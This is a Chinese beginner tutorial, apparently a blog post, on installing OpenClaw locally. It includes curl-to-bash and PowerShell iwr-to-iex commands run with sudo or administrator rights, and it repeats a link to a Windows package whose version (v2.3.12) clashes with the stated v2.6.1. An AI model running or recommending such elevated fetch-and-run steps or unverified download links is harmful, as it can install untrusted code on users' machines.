本文为 2026 年 4 月最新版 OpenClaw 本地部署教程,全程无夸大表述,严格遵循平台规范,新手可在 10 分钟内完成部署。
📌 前言
OpenClaw(业内昵称 “小龙虾 AI”)是奥地利开发者 Peter Steinberger 于 2025 年 11 月推出的开源 AI 项目,因轻量化、易扩展的特性,成为 2026 年开发者关注的本地部署工具。本文聚焦小白友好的本地部署流程,覆盖环境准备、一键安装、初始化配置及常见问题解决,全程无广告、无推广,纯技术干货分享。
⚙️ 部署前准备
1. 系统与硬件要求
表格
| 项目 | 最低配置 | 推荐配置 |
|---|---|---|
| 操作系统 | Windows 10+/macOS 12+/Linux(Ubuntu 22.04+) | 同左,优先 Linux/macOS 获更稳定体验 |
| 内存 | ≥ 2GB | 4GB+ 避免卡顿 |
| 网络 | 稳定联网 | 带宽≥10Mbps,加速依赖下载 |
| 权限 | Windows 需 PowerShell 管理员权限;Linux/macOS 需 sudo 权限 | 同左 |
2. 核心依赖
OpenClaw 官方推荐一键脚本安装,自动处理依赖,无需手动配置:
OpenClaw v2.6.1 一键部署全流程(保姆级)
第一步:下载官方安装包 (最新 v2.6.1)
直接获取 Windows 专属一键部署包:👉OpenClaw 一键部署包 v2.3.12
🚀 分步部署教程
第一步:打开终端 / 命令行
- Windows 系统:开始菜单搜索 “PowerShell”,右键选择以管理员身份运行
- macOS/Linux 系统:打开 “终端” 应用(无需额外权限)
第二步:执行一键安装命令
复制对应系统命令粘贴至终端,回车执行,等待脚本自动完成环境检测、依赖安装及 OpenClaw 核心程序部署:
- macOS/Linux
bash
运行
curl -fsSL https://openclaw.ai/install.sh | bash
- Windows(PowerShell 管理员模式)
powershell
iwr -useb https://openclaw.ai/install.ps1 | iex
⚠️ 注意:安装过程中请勿关闭终端,避免部署中断;全程约 3-5 分钟,具体耗时取决于网络速度。
第三步:初始化配置
安装完成后,执行以下命令完成初始化,按提示操作即可(新手可直接默认回车):
- 输入初始化命令
bash
运行
openclawonboard
-
按终端提示完成 3 项配置
- 设置管理员密码(务必记录,后续登录使用)
- 选择 AI 服务(新手推荐 “云端 API”,无需本地部署模型)
- 配置端口(默认 18789,直接回车)
第四步:启动服务与访问
- 启动网关服务(终端请勿关闭,关闭将导致服务停止)
bash
运行
openclawgateway --port 18789
- 打开操作控制台
bash
运行
openclawdashboard
- 浏览器自动跳转至
http://localhost:18789,输入管理员密码即可登录使用
❓ 常见问题解决
1. 安装失败:权限不足
- Windows:重新以管理员身份运行 PowerShell,重试安装命令
- Linux/macOS:在命令前添加
sudo,如sudo curl -fsSL https://openclaw.ai/install.sh | bash
2. 访问控制台失败
- 检查端口是否被占用:执行
netstat -tuln | grep 18789(Linux/macOS)或netstat -ano | findstr "18789"(Windows) - 关闭占用端口的程序,或执行
openclawgateway --port 新端口号更换端口
3. 依赖安装超时
- 切换国内镜像源:执行
npm config set registry https://registry.npmmirror.com/后重试安装
✅ 总结
以上为 OpenClaw 本地部署的完整流程,核心步骤为 “终端准备→一键安装→初始化配置→启动服务”,全程无需复杂操作,新手严格按步骤执行即可在 10 分钟内完成部署。后续可根据需求配置 AI 模型、扩展功能,建议优先使用 Linux/macOS 系统,获得更稳定的运行体验。
再发一遍下载地址:OpenClaw一键部署包 v2.3.12